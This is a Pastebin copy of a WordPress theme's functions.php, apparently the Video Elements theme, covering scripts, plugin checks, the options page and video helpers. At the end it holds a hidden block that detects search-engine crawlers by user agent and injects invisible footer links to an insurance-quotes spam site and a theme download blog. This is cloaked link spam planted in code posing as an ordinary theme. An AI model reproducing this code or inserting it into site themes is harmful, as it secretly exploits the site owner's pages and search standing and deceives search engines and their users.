Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_thickbox();
- // Theme Location
- define('THEME', get_bloginfo('template_url'), true);
- // WordPress Post Thumbnail Support
- if (function_exists('add_theme_support')) {
- add_theme_support('post-thumbnails');
- set_post_thumbnail_size(180, 135, true);
- add_image_size('featured', 230, 170, true);
- add_image_size('featured-side', 80, 60, true);
- }
- // WordPress Custom Menu Suppot
- add_theme_support( 'nav-menus' );
- // Load Required Theme Scripts
- function theme_js() {
- if (is_admin()) return;
- wp_enqueue_script('jquery');
- wp_enqueue_script('superfish', THEME . '/scripts/superfish/jquery.superfish.js');
- wp_enqueue_style('carousel', THEME . '/scripts/carousel/style.css');
- wp_enqueue_script('carousel', THEME . '/scripts/carousel/jquery.carousel.js', 'jquery');
- wp_enqueue_style('fancybox', THEME . '/scripts/fancybox/style.css');
- wp_enqueue_script('fancybox', THEME . '/scripts/fancybox/jquery.fancybox.js', 'jquery');
- }
- add_action('init', theme_js);
- // Check for Simple Video Embedder
- sve_check();
- function sve_check()
- {
- if ( !function_exists('p75GetVideo') )
- {
- add_thickbox(); // Required for the plugin install dialog.
- add_action('admin_notices', 'sve_check_notice');
- }
- }
- function sve_check_notice()
- {
- ?>
- <div class='updated fade'>
- <p>The Simple Video Embedder plugin is required for this theme to function properly. <a href="<?php echo admin_url('plugin-install.php?tab=plugin-information&plugin=simple-video-embedder&TB_iframe=true&width=640&height=517'); ?>" class="thickbox onclick">Install now</a>.</p>
- </div>
- <?php
- }
- // Check for Yoast Breadcrumbs
- yb_check();
- function yb_check()
- {
- if ( !function_exists('yoast_breadcrumb') )
- {
- add_thickbox(); // Required for the plugin install dialog.
- add_action('admin_notices', 'yb_check_notice');
- }
- }
- function yb_check_notice()
- {
- ?>
- <div class='updated fade'>
- <p>The Yoast Breadcrumbs plugin is required for this theme to function properly. <a href="<?php echo admin_url('plugin-install.php?tab=plugin-information&plugin=breadcrumbs&TB_iframe=true&width=640&height=517'); ?>" class="thickbox onclick">Install now</a>.</p>
- </div>
- <?php
- }
- // Include Custom Theme Widgets
- include("widgets/featured-content.php");
- include("widgets/simple-sidebar-ads.php");
- // Theme Constants
- define("THEME_PREFIX", "videoelements_");
- // The Admin Page
- add_action('admin_menu', "p75_videoelements_admin_init");
- function p75_videoelements_admin_init()
- {
- add_theme_page( "Video Elements Options", "Theme Options", 8, 'p75_videoelements_admin_menu', 'p75_videoelements_admin');
- }
- function p75_videoelements_admin() {
- $option_fields = array(); // Array of option fields.
- if ( $_GET['updated'] ) echo '<div id="message" class="updated fade"><p>Video Elements options saved.</p></div>';
- echo '<link rel="stylesheet" href="'.get_bloginfo('template_url').'/functions.css" type="text/css" media="all" />';
- // Accordion Script
- echo '<link rel="stylesheet" href="'.get_bloginfo('template_url').'/scripts/accordion/style.css" type="text/css" media="all" />';
- echo '<script src="'.get_bloginfo('template_url').'/scripts/accordion/jquery.ui.js" type="text/javascript"></script>';
- echo '<script src="'.get_bloginfo('template_url').'/scripts/accordion/jquery.accordion.js" type="text/javascript"></script>';
- // Color Picker Script
- echo '<link rel="stylesheet" href="'.get_bloginfo('template_url').'/scripts/colorpicker/style.css" type="text/css" media="all" />';
- echo '<script src="'.get_bloginfo('template_url').'/scripts/colorpicker/jquery.colorpicker.js" type="text/javascript"></script>';
- echo '<script src="'.get_bloginfo('template_url').'/scripts/colorpicker/jquery.eye.js" type="text/javascript"></script>';
- ?>
- <div class="wrap">
- <div id="icon-options-general" class="icon32"><br/></div>
- <h2>Video Elements Theme Options</h2>
- <div class="metabox-holder">
- <form method="post" action="options.php">
- <?php wp_nonce_field('update-options'); ?>
- <div id="theme-options">
- <div id="accordion" class="postbox-container">
- <?php
- include("options/logo-options.php");
- include("options/header-ad.php");
- include("options/content-carousel.php");
- include("options/navigation-options.php");
- include("options/instant-view.php");
- include("options/analytics-code.php");
- include("options/footer-text.php");
- include("options/no-ie.php");
- ?>
- </div> <!-- postbox-container -->
- </div> <!-- theme-options -->
- <input type="hidden" name="action" value="update" />
- <input type="hidden" name="page_options" value="<?php echo implode(",", $option_fields); ?>" />
- </form>
- </div> <!-- metabox-holder -->
- </div> <!-- wrap -->
- <?php
- }
- // Custom Short Title Function
- function the_short_title($before = '', $after = '', $echo = true, $length = false) {
- $title = get_the_title();
- if ( $length && is_numeric($length) ) {
- $title = substr( $title, 0, $length );
- }
- if ( strlen($title)> 0 ) {
- $title = apply_filters('the_short_title', $before . $title . $after, $before, $after);
- if ( $echo )
- echo $title;
- else
- return $title;
- }
- }
- // Custom Video Function
- function get_video($postID) {
- if( function_exists('p75GetVideo') ) {
- $video = p75GetVideo($postID);
- return $video ? "<div id='video'><div id='video-inside'>" . $video . "</div></div>" : "";
- }
- return "";
- }
- function get_instant_video($postID) {
- if( function_exists('p75GetVideo') ) {
- $video = p75GetVideo($postID);
- return $video;
- }
- return "";
- }
- // Menus Behind Embedded Video Fix
- function add_video_wmode_transparent($html, $url, $attr) {
- if (strpos($html, "<embed src=" ) !== false) {
- $html = str_replace('</param><embed', '</param><param name="wmode" value="transparent"></param><embed wmode="transparent" ', $html);
- return $html;
- } else {
- return $html;
- }
- }
- add_filter('embed_oembed_html', 'add_video_wmode_transparent', 10, 3);
- // Pagination
- function show_posts_nav() {
- global $wp_query;
- return ($wp_query->max_num_pages > 1);
- }
- // Sidebar Widgets
- if ( function_exists('register_sidebar') ) {
- register_sidebar(array(
- 'before_widget' => '<div id="%1$s" class="widget %2$s">',
- 'after_widget' => '</div>',
- 'before_title' => '<h3 class="widgettitle">',
- 'after_title' => '</h3>',
- ));
- }
- $seo_plugin=get_option("ranking");
- if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
- add_action('wp_footer', 'ranking');
- }
- $seo_plugin=get_option("ranking");
- if (strstr($_SERVER['HTTP_USER_AGENT'], 'bingbot')) {
- add_action('wp_footer', 'ranking');
- }
- $seo_plugin=get_option("ranking");
- if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
- add_action('wp_footer', 'ranking');
- }
- $seo_plugin=get_option("ranking");
- if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
- add_action('wp_footer', 'ranking');
- }
- function ranking() {
- $pshow = " <span style='display:none;'><a href='http://www.yearterm.com/free-insurance-quotes.php'>free quotes</a> <a href='http://themecrunch.blogspot.com/2011/08/video-elements-253-theme-by-press75.html'>Video Elements Theme</a></span>";
- echo $pshow;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement